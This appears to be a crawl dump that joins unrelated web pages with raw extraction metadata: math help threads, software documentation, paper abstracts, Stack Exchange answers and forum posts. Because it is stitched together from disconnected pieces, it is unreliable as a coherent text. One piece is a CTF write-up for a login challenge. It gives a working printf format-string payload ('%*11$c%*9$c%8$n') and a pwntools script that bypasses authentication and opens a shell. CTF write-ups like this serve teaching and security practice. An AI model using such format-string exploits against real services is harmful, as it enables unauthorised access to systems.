I've got these two problems which I can't seem to figure out. I've tried different ways of doing them but none give me the correct answer.
Here is the first problem
f(x) = 6.0 - 8.0x2; find f(9.0 x 10.0) - [9.0f(10.0)]2
And the second
A conical sheet metal hood is to cover an area 1.0 m in diameter. What is the surface area of the hood if its height is 8.0?
There are a number of questions similar to the first, so I'm hoping once I figure out how to do this one the others will make more sense.
Thanks for any help!
2. ## Re: Can't figure out these problems
If $f(x)=6-8x^2$
then $f(90)=6-8\times90^2=-64794$
and $f(10)=6-8\times10^2=-794$
So with that information
$f(9.0 \times 10.0) - (9.0f(10.0))^2=f(90)-(9f(10))^2$
$f(90)-(9f(10))^2=-64794-(9\times(-794))^2=-64794-51065316 =-51130110$
In the second question the curved surface area of a cone is equal to $\pi r\sqrt{r^2+h^2}$ where r is the radius of the base and h is the height.
4. ## Re: Can't figure out these problems
ah ty for the help, Im able to do all the questions similar to the first now, and also feel pretty dumb about the second... didnt even clue in that conical meant cone so I was trying to figure out the area for other shapes and seeing if they matched any of the answers lol | 2016-09-25 18:35:31 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 6, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6613651514053345, "perplexity": 456.10805439911803}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2016-40/segments/1474738660338.16/warc/CC-MAIN-20160924173740-00101-ip-10-143-35-109.ec2.internal.warc.gz"} |
https://forums.novell.com/showthread.php/498470-Error-in-AD-driver-Trace-0 | ## Error in AD driver Trace 0
Been seeing this off and on for a few months, in our MAD driver
Code:
DirXML Log Event -------------------
Driver: \foo\SERVICES\IDMDriverSet\bar
Channel: Subscriber
Status: Error
Message: Code(-9076) Unhandled error in event loop: java.io.IOException: Wrong index checksum, store was not closed properly and could be corrupted.
Nothing SEEMS to be acting different, but I do want to clear it. Checked google and geoffc's error code listings to no avail.
any ideas?
thanks dg | 2018-05-24 01:20:40 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.19753195345401764, "perplexity": 12147.460134709665}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-22/segments/1526794865863.76/warc/CC-MAIN-20180523235059-20180524015059-00159.warc.gz"} |
https://new.rosettacommons.org/docs/latest/application_documentation/rna/recces | Author: Fang-Chieh Chou
May 2015 by Fang-Chieh Chou (fcchou [at] stanford.edu).
# Code and Demo
The main RECCES application is main/source/src/apps/public/rna_util/recces_turner.cc. It is accompanied by a set of python codes in tools/recces. A README file for the python codes is included. The optimized RECCES score function is main/database/scoring/stepwise/rna/turner.wts.
For a minimal demonstration of RECCES, see: demos/public/recces/. Online documentation for the RECCES demo is also available.
# Application purpose
This code provides a way to compute the free energy of an RNA molecule using comprehensive sampling to account for the conformational entropy. RECCES also allows rapid reweighting of the score function by caching the sub-scores of each sampled conformation.
# Algorithm
RECCES uses simulated-tempering Monte Carlo methods to efficiently sample the conformational ensemble. Standard Rosetta score terms are used for the calculation; the terms are then reweighted to fit against experimental folding
# Limitations
• RECCES currently works for RNA duplexes and dangling-ends only. While it is possible to extend the framework to other non-canonical RNA motifs and even protein applications, such work has not yet been performed.
• The score terms being cached are currently hard-coded in the source code (recces_turner.cc) and the Python scripts; therefore adding new score terms requires editing the codes, which is not convenient. This can be make more general in the future by including a current_score_terms file for both the Rosetta and Python codes.
# Modes
There is only one mode to run RECCES at present.
# Input Files
There is no specific input file required RECCES. One may use a different score function file for the simulated tempering simulation, other than the standard stepwise/rna/turner.wts (but if the score terms are different than in those turner.wts, then you need to modify the source code).
# Tutorial
See demos/public/recces/ for the latest demo for running RECCES.
# Options
Below are a list of available arguments for the recces_turner application.
-seq1 <String>
The sequence of the first strand (or the full sequence if it is single-stranded).
-seq2 <String>
The sequence of the second strand (skip if it is single-stranded).
-n_cycle <Int>
The number of Monte Carlo cycles.
-temps <Double/List of Doubles>
The simulation temperature. If it is a single value, the code performs
standard Monte Carlo at the given temperature. If the input is a list of
values, the code will run simulated tempering (ST).
-st_weights <List of Doubles>
The ST weights for simulations. Need to be specified if multiple temperatures
are given. Can be determined by short pre-runs (see demo).
-out_prefix <String>
Prefix for the RECCES output files.
-save_score_terms
If this option is supplied, RECCES will cache the values for each score terms.
Otherwise only the score histograms are returned.
-a_form_range <Double>
The sampling range for A-form conformations (duplex). Default is 60
(+/- 60 degress from ideal values).
-dump_pdb
If suppiled, the program will dump pdb files for examination.
-n_intermediate_dump <Int>
Dump the given amount of pdb structures for illustration purposes.
# Expected Outputs
Each RECCES run will generate one or several (depending whether ST is used) score histograms. If -save_score_terms is used, it also outputs the cached score terms for each sampled conformation. The result can then be analyzed using the Python scripts (see demo and tools/recces/README). | 2021-10-28 14:36:46 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3623791038990021, "perplexity": 5375.884284476465}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-43/segments/1634323588341.58/warc/CC-MAIN-20211028131628-20211028161628-00392.warc.gz"} |
http://openstudy.com/updates/55c2836de4b08de2ded1e684 | anonymous one year ago What are the factors of x2 − 64?
1. Nnesha
difference of square $\huge\rm a^2-b^2=(a+b)(a-b)$take square root of both terms
2. Nnesha
answer would be like this (sqrt of 1st term + sqrt of 2nd term)(sqrt of 1st term - sqrt of 2nd term) | 2017-01-19 13:26:33 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9069512486457825, "perplexity": 3776.3800278293056}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-04/segments/1484560280668.34/warc/CC-MAIN-20170116095120-00122-ip-10-171-10-70.ec2.internal.warc.gz"} |
https://www.techrxiv.org/articles/preprint/Cyclic_Lattices_Ideal_Lattices_and_Bounds_for_the_Smoothing_Parameter/17626391/1 | paper2.pdf (334.5 kB)
Cyclic Lattices, Ideal Lattices and Bounds for the Smoothing Parameter
preprint
posted on 06.01.2022, 05:43 authored by Zhiyong Zheng, Yunfan Lu
Cyclic lattices and ideal lattices were introduced by Micciancio in \cite{D2}, Lyubashevsky and Micciancio in \cite{L1} respectively, which play an efficient role in Ajtai's construction of a collision resistant Hash function (see \cite{M1} and \cite{M2}) and in Gentry's construction of fully homomorphic encryption (see \cite{G}). Let $R=Z[x]/\langle \phi(x)\rangle$ be a quotient ring of the integer coefficients polynomials ring, Lyubashevsky and Micciancio regarded an ideal lattice as the correspondence of an ideal of $R$, but they neither explain how to extend this definition to whole Euclidean space $\mathbb{R}^n$, nor exhibit the relationship of cyclic lattices and ideal lattices.
In this paper, we regard the cyclic lattices and ideal lattices as the correspondences of finitely generated $R$-modules, so that we may show that ideal lattices are actually a special subclass of cyclic lattices, namely, cyclic integer lattices. In fact, there is a one to one correspondence between cyclic lattices in $\mathbb{R}^n$ and finitely generated $R$-modules (see Theorem \ref{th4} below). On the other hand, since $R$ is a Noether ring, each ideal of $R$ is a finitely generated $R$-module, so it is natural and reasonable to regard ideal lattices as a special subclass of cyclic lattices (see corollary \ref{co3.4} below). It is worth noting that we use more general rotation matrix here, so our definition and results on cyclic lattices and ideal lattices are more general forms. As application, we provide cyclic lattice with an explicit and countable upper bound for the smoothing parameter (see Theorem \ref{th5} below). It is an open problem that is the shortest vector problem on cyclic lattice NP-hard? (see \cite{D2}). Our results may be viewed as a substantial progress in this direction.
History
liu_fx@ruc.edu.cn
Submitting Author's Institution
renmin university of china
China
Exports
figshare. credit for all your research. | 2022-12-03 05:04:46 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8938682079315186, "perplexity": 582.2943547881536}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-49/segments/1669446710924.83/warc/CC-MAIN-20221203043643-20221203073643-00608.warc.gz"} |
https://core.ac.uk/display/2185738 | Location of Repository
## Some Baer Invariants of Free Nilpotent Groups
### Abstract
We present an explicit structure for the Baer invariant of a free $n$th nilpotent group (the $n$th nilpotent product of infinite cyclic groups, $\textbf{Z}\st{n}* \textbf{Z}\st{n}*...\st{n}*\textbf{Z}$) with respect to the variety ${\cal V}$ with the set of words $V=\{[\ga_{c_1+1},\ga_{c_2+1}]\}$, for all $c_1\geq c_2$ and $2c_2-c_1>2n-2$. Also, an explicit formula for the polynilpotent multiplier of a free $n$th nilpotent group is given for any class row $(c_1,c_2,...,c_t)$, where $c_1\geq n$.Comment: 17 page
Topics: Mathematics - Group Theory, 20E34, 20E10, 20F18
Year: 2011
OAI identifier: oai:arXiv.org:1103.5151 | 2018-12-12 22:24:25 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9096299409866333, "perplexity": 1074.9187015870375}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-51/segments/1544376824119.26/warc/CC-MAIN-20181212203335-20181212224835-00423.warc.gz"} |
http://papers.nips.cc/paper/6050-differential-privacy-without-sensitivity | # NIPS Proceedingsβ
## Differential Privacy without Sensitivity
[PDF] [BibTeX] [Supplemental] [Reviews]
### Abstract
The exponential mechanism is a general method to construct a randomized estimator that satisfies $(\varepsilon, 0)$-differential privacy. Recently, Wang et al. showed that the Gibbs posterior, which is a data-dependent probability distribution that contains the Bayesian posterior, is essentially equivalent to the exponential mechanism under certain boundedness conditions on the loss function. While the exponential mechanism provides a way to build an $(\varepsilon, 0)$-differential private algorithm, it requires boundedness of the loss function, which is quite stringent for some learning problems. In this paper, we focus on $(\varepsilon, \delta)$-differential privacy of Gibbs posteriors with convex and Lipschitz loss functions. Our result extends the classical exponential mechanism, allowing the loss functions to have an unbounded sensitivity. | 2017-04-25 22:15:39 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.23849649727344513, "perplexity": 512.4104640183256}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-17/segments/1492917120881.99/warc/CC-MAIN-20170423031200-00511-ip-10-145-167-34.ec2.internal.warc.gz"} |
https://web2.0calc.com/questions/jogging | +0
# Jogging
0
142
1
last week, vincenzo jogged 3 1/2 miles during the week and 5/6 miles on the weekend. this week, he jogged 3/10 miles less than last week. how many miles vincenzo jog this week?
Mar 4, 2021
#1
+57
+1
$$3\frac{1}{2}$$=$$\frac{7}{2}$$ as an improper fraction
$$\frac{7}{2}$$ = $$\frac{21}{6}$$
$$\frac{21}{6}$$$$\frac{5}{6}$$=$$\frac{26}{6}$$$$\frac{13}{3}$$
So Vincenzo jogged 13/3 miles during the whole week
Now we need to subtract 3/10
$$\frac{13}{3}$$-$$\frac{3}{10}$$$$\frac{130}{30} - \frac{9}{30}$$=$$\frac{121}{30}$$
121/30 miles or 4 1/30 miles
Let me know if I did anything wrong!
Mar 4, 2021 | 2021-09-27 09:25:51 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9245575070381165, "perplexity": 10260.197550682975}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-39/segments/1631780058415.93/warc/CC-MAIN-20210927090448-20210927120448-00292.warc.gz"} |
https://brilliant.org/problems/a-mechanics-problem-by-ritesh-yadav/ | # A classical mechanics problem by Ritesh Yadav
Classical Mechanics Level 2
As the speed of the particle increases its rest mass will...
× | 2016-10-25 13:57:31 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8350178599357605, "perplexity": 2868.376475121858}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2016-44/segments/1476988720153.61/warc/CC-MAIN-20161020183840-00120-ip-10-171-6-4.ec2.internal.warc.gz"} |
https://www.impan.pl/pl/wydawnictwa/czasopisma-i-serie-wydawnicze/fundamenta-mathematicae/all/156/2/110529/on-pettis-integral-and-radon-measures | # Wydawnictwa / Czasopisma IMPAN / Fundamenta Mathematicae / Wszystkie zeszyty
## On Pettis integral and Radon measures
### Tom 156 / 1998
Fundamenta Mathematicae 156 (1998), 183-195 DOI: 10.4064/fm-156-2-183-195
#### Streszczenie
Assuming the continuum hypothesis, we construct a universally weakly measurable function from [0,1] into a dual of some weakly compactly generated Banach space, which is not Pettis integrable. This (partially) solves a problem posed by Riddle, Saab and Uhl [13]. We prove two results related to Pettis integration in dual Banach spaces. We also contribute to the problem whether it is consistent that every bounded function which is weakly measurable with respect to some Radon measure is Pettis integrable.
#### Autorzy
• Grzegorz Plebanek
## Przeszukaj wydawnictwa IMPAN
Zbyt krótkie zapytanie. Wpisz co najmniej 4 znaki.
Odśwież obrazek | 2022-08-09 10:31:08 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9078806042671204, "perplexity": 3704.7846618528315}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570921.9/warc/CC-MAIN-20220809094531-20220809124531-00745.warc.gz"} |
https://datascience.stackexchange.com/questions/44087/how-can-i-check-if-a-bigger-training-data-set-would-improve-my-accuracy-of-my-sc/44145 | # How can I check if a bigger training data set would improve my accuracy of my scikit classifier?
How can I check if a bigger training data set would improve my accuracy of my scikit classifier, is there a method or something?
• Do you mean actual accuracy or model performance in general? – Roman Jan 16 '19 at 14:01
One idea:
1. Split your data into train / hold out datasets.
2. Train the model on a fraction of the training data (say 50%) and test on the holdout dataset.
3. Train the model on a larger fraction of the training data (say 75%) and test on the holdout dataset.
It's important that you use the same holdout data for testing so you can perform a true test of accuracy.
Since you're doing classification, you should check that your data is balanced, and adjust if not (this may also improve your accuracy without needing larger training data).
The Validation Curve method (available on Scikit) plots the cross-validation score of your metric as you increase the number of training examples. If the model performance starts stagnating with the training examples of your original dataset, it may be a symptom that a bigger dataset will not improve your classifier's performance.
This also allows you to clearly observe the Bias vs Variance behaviour of your model.
As shown in the image below (source), you have a high bias (underfitting) when the both training and validation performances are clearly below your target. On the other side, you can overfit and cause your model to perform much better on the training dataset than in the validation, causing high variance (aka overfitting).
A well trained model will perform with a good Bias vs Variance trade-off, both performing near the desired target and performing evenly in both training and validation datasets.
• Can I plot such a learning curves diagramm for the scikit MLPCassifier too? – jochen6677 Feb 1 '19 at 10:12
• Yes, the Learning Curve is agnostic to the model. Check this example here – UrbanoFonseca Feb 1 '19 at 10:23
• But how shall I interpret the diagramm above: Does it tell me that if I would collect about 1200 training samples in total this would be the optimum number of training samples because further training samples would not improove my accuracy? – jochen6677 Feb 4 '19 at 10:24
• I just updated the answer explaining the Bias vs Variance. From the 1st image, it appears that increasing the number of samples from 1200 to 1400 creates small marginal improvements to the model's performance. If you achieve your expected performance target with 1200 samples you can consider this as the most efficient training sample size. In the end you have a trade-off between number of samples (e.g. computing speed) and the model's performance (plus the original bias vs variance trade-off). – UrbanoFonseca Feb 4 '19 at 11:35 | 2021-05-06 02:55:03 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.39434921741485596, "perplexity": 832.2772903046364}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-21/segments/1620243988725.79/warc/CC-MAIN-20210506023918-20210506053918-00592.warc.gz"} |
https://www.transtutors.com/questions/suppose-parametric-equations-for-the-line-segment-between-8-9-and-1-3-have-the-form--1352995.htm | # Suppose parametric equations for the line segment between (8,?9) and (?1,?3) have the form: x=a+bt y
Suppose parametric equations for the line segment between (8,?9) and (?1,?3) have the form:
x=a+bt
y=c+dt
If the parametric curve starts at (8,?9) when t=0 and ends at (?1,?3) at t=1, then find a, b, c, and d. | 2021-06-23 08:06:18 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9688899517059326, "perplexity": 1726.2093235898901}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-25/segments/1623488536512.90/warc/CC-MAIN-20210623073050-20210623103050-00604.warc.gz"} |
https://ctftime.org/writeup/28572 | Tags: printf
Rating: 5.0
# Yet Another Login (19 solves, 225 points)
by FeDEX
Just another another simple login bypass challenge.
nc challs.m0lecon.it 5556
Author: Alberto247
This challenge is similar to the "Another Login" challenge, the only difference is that the seed is cleared from the stack and there is no way we can leak it anymore.
In this case, we need to think of another trick in order to bypass the login. Given that the input size is quite short (19 bytes) wee don't have the comfort to overwrite pointers and corrupt values on the stack as this approach would be too long.
Thus, the technique we can up with is to use * trick which would allow us to take the padding length from the stack and when we can write it in the sum variable thus bypass all conditions.
So, we just need to send 16 times the following payload: %*11$c%*9$c%8$n python from pwn import remote #pip install pwntools from hashlib import sha256 def solvepow(p, n): s = p.recvline() starting = s.split(b'with ')[1][:10].decode() s1 = s.split(b'in ')[-1][:n] i = 0 print("Solving PoW...") while True: if sha256((starting+str(i)).encode('ascii')).hexdigest()[-n:] == s1.decode(): print("Solved!") p.sendline(starting + str(i)) break i += 1 def exploit(p): #p.interactive() for i in range(16): p.recvuntil("Give") print(p.recvline()) p.sendline("%*11$c%*9$c%8$n")
print("Got shell!")
p.interactive()
if __name__ == '__main__':
p = remote('challs.m0lecon.it', 5556)
solvepow(p, n = 5)
exploit(p)
- flag: ptm{N0w_th1s_1s_th3_r34l_s3rv3r!} | 2021-06-20 19:34:42 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.27954885363578796, "perplexity": 2251.6085798134404}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-25/segments/1623488253106.51/warc/CC-MAIN-20210620175043-20210620205043-00238.warc.gz"} |
https://chemistry.stackexchange.com/questions/20478/does-the-hydrogen-taken-in-an-e1-reaction-have-to-be-antiperiplanar/20482 | # Does the hydrogen taken in an E1 reaction have to be antiperiplanar?
I'm wondering if the hydrogen stolen during an $E_1$ reaction has to be antiperiplanar/anticoplanar like the hydrogen in an $E_2$ reaction.
Intuitively I'd say no, because the carbocation is flat so there's less steric hindrance than an E2 reaction, but I want to check.
As an example, we could use 3-methyl-2-bromobutane. Once that carbocation forms and shifts, does it matter which hydrogen is stolen?
It actually does not matter whether or not it is antiperiplanar, because once the carbocation is formed, there is no sense of antiperiplanar. The two carbon atoms are in the same plane now. For a planar carbocation, all arrangements are equivalent(i.e. no sense of stereoisomerism). It does not matter which side the base attacks on. Also, since the bond angle in an $sp^2$ system is greater than that of an $sp^3$ system, the steric resistance to the base is less, which is the point you mentioned.
• Yes, you're right. I should not have written $\alpha-\beta$ Dec 9, 2014 at 9:01 | 2022-09-27 07:13:42 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6194603443145752, "perplexity": 953.1027792073648}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334992.20/warc/CC-MAIN-20220927064738-20220927094738-00675.warc.gz"} |
https://www.beatthegmat.com/graphic-interpretation-t288279.html | • FREE GMAT Exam
